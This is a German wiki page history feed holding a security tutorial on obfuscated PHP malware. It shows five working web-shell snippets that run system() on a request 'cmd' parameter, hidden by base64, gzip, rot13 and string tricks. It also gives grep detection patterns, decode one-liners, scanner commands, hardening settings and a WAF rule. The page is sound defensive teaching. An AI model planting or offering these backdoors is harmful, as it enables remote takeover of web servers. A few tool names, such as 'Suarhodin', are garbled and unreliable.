<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=Obfuscated_PHP_Malware</id>
	<title>Obfuscated PHP Malware - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=Obfuscated_PHP_Malware"/>
	<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=Obfuscated_PHP_Malware&amp;action=history"/>
	<updated>2026-06-28T18:32:23Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=Obfuscated_PHP_Malware&amp;diff=70437&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „== Obfuscated PHP Malware ==  === Beschreibung ===  Obfuskierter PHP-Code verschleiert seine eigentliche Funktion so, dass weder automatische Scanner noch mens…“</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=Obfuscated_PHP_Malware&amp;diff=70437&amp;oldid=prev"/>
		<updated>2026-05-31T17:19:35Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „== Obfuscated PHP Malware ==  === Beschreibung ===  Obfuskierter PHP-Code verschleiert seine eigentliche Funktion so, dass weder automatische Scanner noch mens…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;== Obfuscated PHP Malware ==&lt;br /&gt;
&lt;br /&gt;
=== Beschreibung ===&lt;br /&gt;
&lt;br /&gt;
Obfuskierter PHP-Code verschleiert seine eigentliche Funktion so, dass weder automatische&lt;br /&gt;
Scanner noch menschliche Code-Reviews den Schadcode auf den ersten Blick erkennen.&lt;br /&gt;
Der Angreifer nutzt PHP-eigene Funktionen zur Laufzeitauswertung kombiniert mit&lt;br /&gt;
Encoding/Kompression, um Backdoors, Datendiebstahl oder Downloader zu verstecken.&lt;br /&gt;
&lt;br /&gt;
Obfuskierung ist kein Angriff für sich – sie ist fast immer ''Tarnung für einen anderen&lt;br /&gt;
Angriffstyp'' (Web Shell, Credential Stealer, Remote Downloader).&lt;br /&gt;
&lt;br /&gt;
=== Angreiferperspektive ===&lt;br /&gt;
&lt;br /&gt;
==== Stufe 1: Einfaches Base64 + eval ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
// Payload im Klartext:&lt;br /&gt;
// system($_GET['cmd']);&lt;br /&gt;
&lt;br /&gt;
$payload = base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7');&lt;br /&gt;
eval($payload);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dekodierung zur Analyse:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo 'c3lzdGVtKCRfR0VUWydjbWQnXSk7' | base64 -d&lt;br /&gt;
# system($_GET['cmd']);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Stufe 2: Mehrfach-Encoding (Base64 + gzip) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
// Payload: system($_GET['cmd']);&lt;br /&gt;
// Erst gzip-komprimiert, dann base64-kodiert&lt;br /&gt;
&lt;br /&gt;
$encoded = 'H4sIAAAAAAAAA8tILUpVslIqS8wpTgUANbKBrA8AAAA=';&lt;br /&gt;
$payload = gzinflate(base64_decode($encoded));&lt;br /&gt;
eval($payload);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Analyse-Einzeiler&lt;br /&gt;
echo 'H4sIAAAAAAAAA8tILUpVslIqS8wpTgUANbKBrA8AAAA=' | \&lt;br /&gt;
    base64 -d | gunzip&lt;br /&gt;
# system($_GET['cmd']);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Stufe 3: String-Rotation (str_rot13) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
// rot13(&amp;quot;system&amp;quot;) = &amp;quot;flfgrz&amp;quot;&lt;br /&gt;
$f = str_rot13('flfgrz');     // ergibt: system&lt;br /&gt;
$a = str_rot13('$_TRG[\'pzq\']'); // ergibt: $_GET['cmd']&lt;br /&gt;
eval('$f($a);');&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Stufe 4: Verkettete Variable-Funktionsaufrufe ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
// Vollständig verschleiert – kein klarer Funktionsname sichtbar&lt;br /&gt;
$a = 's' . 'y' . 's' . 't' . 'e' . 'm';&lt;br /&gt;
$b = '_' . 'G' . 'E' . 'T';&lt;br /&gt;
$$b = $_GET;&lt;br /&gt;
$a($$b['cmd']);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Stufe 5: Praxisbeispiel – Leafmailer-Webshell (wie im WordPress-Incident) ====&lt;br /&gt;
&lt;br /&gt;
Solche Shells wurden z. B. in kompromittierten WordPress-Installationen als&lt;br /&gt;
scheinbar harmlose Mailer-Skripte getarnt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
// Typisches Obfuskierungsmuster aus real aufgefundenen Webshells&lt;br /&gt;
// (vereinfacht dargestellt)&lt;br /&gt;
$x = str_replace('_', '', 'sy_st_em');&lt;br /&gt;
$y = @$_POST[base64_decode('Y21k')];   // base64(&amp;quot;cmd&amp;quot;) = &amp;quot;cmd&amp;quot;&lt;br /&gt;
if (isset($y)) { $x($y); }&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo 'Y21k' | base64 -d&lt;br /&gt;
# cmd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Erkennungsmerkmale (Red Flags) ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Merkmal !! Risiko !! Erläuterung&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;eval()&amp;lt;/code&amp;gt; || '''Kritisch''' || Führt beliebigen PHP-Code zur Laufzeit aus&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;base64_decode()&amp;lt;/code&amp;gt; kombiniert mit &amp;lt;code&amp;gt;eval()&amp;lt;/code&amp;gt; || '''Kritisch''' || Klassisches Obfuskierungsmuster&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;gzinflate()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;gzuncompress()&amp;lt;/code&amp;gt; || Hoch || Komprimierter Payload&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;str_rot13()&amp;lt;/code&amp;gt; || Hoch || Einfache Zeichenrotation zur Tarnung&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;assert()&amp;lt;/code&amp;gt; || Hoch || Verhält sich wie &amp;lt;code&amp;gt;eval()&amp;lt;/code&amp;gt;, wird seltener gefiltert&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;create_function()&amp;lt;/code&amp;gt; || Hoch || Veraltete Alternative zu anonymen Funktionen, oft in altem Malware-Code&lt;br /&gt;
|-&lt;br /&gt;
| Strings über 500 Zeichen ohne Leerzeichen || Mittel || Hinweis auf eingebetteten Encoded Payload&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;preg_replace()&amp;lt;/code&amp;gt; mit &amp;lt;code&amp;gt;/e&amp;lt;/code&amp;gt;-Modifier || '''Kritisch''' || Führt Replacement-String als PHP-Code aus (PHP &amp;lt; 7.0)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== Filesystem-Scan nach Obfuskierungsmerkmalen ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# eval() kombiniert mit base64_decode&lt;br /&gt;
grep -rn --include=&amp;quot;*.php&amp;quot; \&lt;br /&gt;
    -e &amp;quot;eval\s*(base64_decode&amp;quot; \&lt;br /&gt;
    -e &amp;quot;eval\s*(gzinflate&amp;quot; \&lt;br /&gt;
    -e &amp;quot;eval\s*(str_rot13&amp;quot; \&lt;br /&gt;
    -e &amp;quot;assert\s*(\$&amp;quot; \&lt;br /&gt;
    /var/www/html/&lt;br /&gt;
&lt;br /&gt;
# Extrem lange Strings (Payload-Indikator)&lt;br /&gt;
grep -rn --include=&amp;quot;*.php&amp;quot; \&lt;br /&gt;
    -P '.{500,}' \&lt;br /&gt;
    /var/www/html/ | grep -v &amp;quot;.min.php&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# create_function – fast nie legitim in modernem Code&lt;br /&gt;
grep -rn --include=&amp;quot;*.php&amp;quot; &amp;quot;create_function&amp;quot; /var/www/html/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Payload manuell dekodieren ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Unbekannten Base64-String dekodieren&lt;br /&gt;
echo 'UNBEKANNTER_STRING' | base64 -d&lt;br /&gt;
&lt;br /&gt;
# Base64 + gzip&lt;br /&gt;
echo 'UNBEKANNTER_STRING' | base64 -d | gunzip 2&amp;gt;/dev/null || \&lt;br /&gt;
echo 'UNBEKANNTER_STRING' | base64 -d | zlib-flate -uncompress&lt;br /&gt;
&lt;br /&gt;
# PHP-Oneliner zur schnellen Analyse (ohne eval auszuführen!)&lt;br /&gt;
php -r &amp;quot;echo base64_decode('UNBEKANNTER_STRING');&amp;quot;&lt;br /&gt;
php -r &amp;quot;echo gzinflate(base64_decode('UNBEKANNTER_STRING'));&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Automatisierter Scan mit ClamAV und PDFM (Linux Malware Detect) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ClamAV – PHP-Malware-Signaturen&lt;br /&gt;
apt install clamav&lt;br /&gt;
freshclam&lt;br /&gt;
clamscan -r --include=&amp;quot;*.php&amp;quot; /var/www/html/&lt;br /&gt;
&lt;br /&gt;
# Linux Malware Detect (Maldet)&lt;br /&gt;
wget https://www.rfxn.com/downloads/maldetect-current.tar.gz&lt;br /&gt;
tar xzf maldetect-current.tar.gz &amp;amp;&amp;amp; cd maldetect-*/&lt;br /&gt;
./install.sh&lt;br /&gt;
maldet --scan-all /var/www/html/&lt;br /&gt;
maldet --report list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Gegenmaßnahmen ===&lt;br /&gt;
&lt;br /&gt;
==== eval() serverseitig verbieten ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ini&amp;quot;&amp;gt;&lt;br /&gt;
; /etc/php/8.2/apache2/php.ini&lt;br /&gt;
; Hinweis: eval() kann nicht über disable_functions deaktiviert werden&lt;br /&gt;
; – es ist ein Sprachkonstrukt, kein Funktionsaufruf.&lt;br /&gt;
; Stattdessen: Suarhodin-Extension oder open_basedir + strenge Dateirechte&lt;br /&gt;
&lt;br /&gt;
disable_functions = assert, create_function, preg_replace&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Hinweis zu eval(): Da &amp;lt;code&amp;gt;eval()&amp;lt;/code&amp;gt; ein PHP-Sprachkonstrukt ist (kein Funktionsaufruf),&lt;br /&gt;
kann es nicht über &amp;lt;code&amp;gt;disable_functions&amp;lt;/code&amp;gt; deaktiviert werden.&lt;br /&gt;
Abhilfe schaffen: Code-Reviews, statische Analyse und Integrity Monitoring.&lt;br /&gt;
&lt;br /&gt;
==== Statische Analyse mit PHPCS Security Audit ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
composer require --dev pheromone/phpcs-security-audit&lt;br /&gt;
./vendor/bin/phpcs --standard=Security /var/www/html/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== open_basedir – Dateizugriff einschränken ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ini&amp;quot;&amp;gt;&lt;br /&gt;
; PHP darf nur innerhalb des Webroot auf Dateien zugreifen&lt;br /&gt;
open_basedir = /var/www/html:/tmp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== WAF-Regel: eval + base64 im Request-Body blockieren ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
# Coraza / ModSecurity&lt;br /&gt;
SecRule REQUEST_BODY &amp;quot;@rx eval\s*\(\s*base64_decode&amp;quot; \&lt;br /&gt;
    &amp;quot;id:1002,phase:2,deny,status:403,msg:'Obfuscated PHP in Request'&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Zusammenfassung ===&lt;br /&gt;
&lt;br /&gt;
;Angreifer will: Schadcode so tarnen, dass Scanner und Code-Reviews ihn übersehen&lt;br /&gt;
;Typische Techniken: Base64, gzip, str_rot13, variable Funktionsnamen, mehrstufige Dekodierung&lt;br /&gt;
;Erkennbar durch: grep auf eval/assert/base64_decode, Längenanalyse, ClamAV/Maldet&lt;br /&gt;
;Prävention: disable_functions (assert, create_function), open_basedir, statische Analyse, Integrity Monitoring&lt;br /&gt;
;Wichtig: &amp;lt;code&amp;gt;eval()&amp;lt;/code&amp;gt; selbst kann nicht per php.ini deaktiviert werden → Code-Review ist unverzichtbar&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Web Security]]&lt;br /&gt;
[[Kategorie:PHP]]&lt;br /&gt;
[[Kategorie:Malware]]&lt;br /&gt;
[[Kategorie:Obfuskierung]]&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>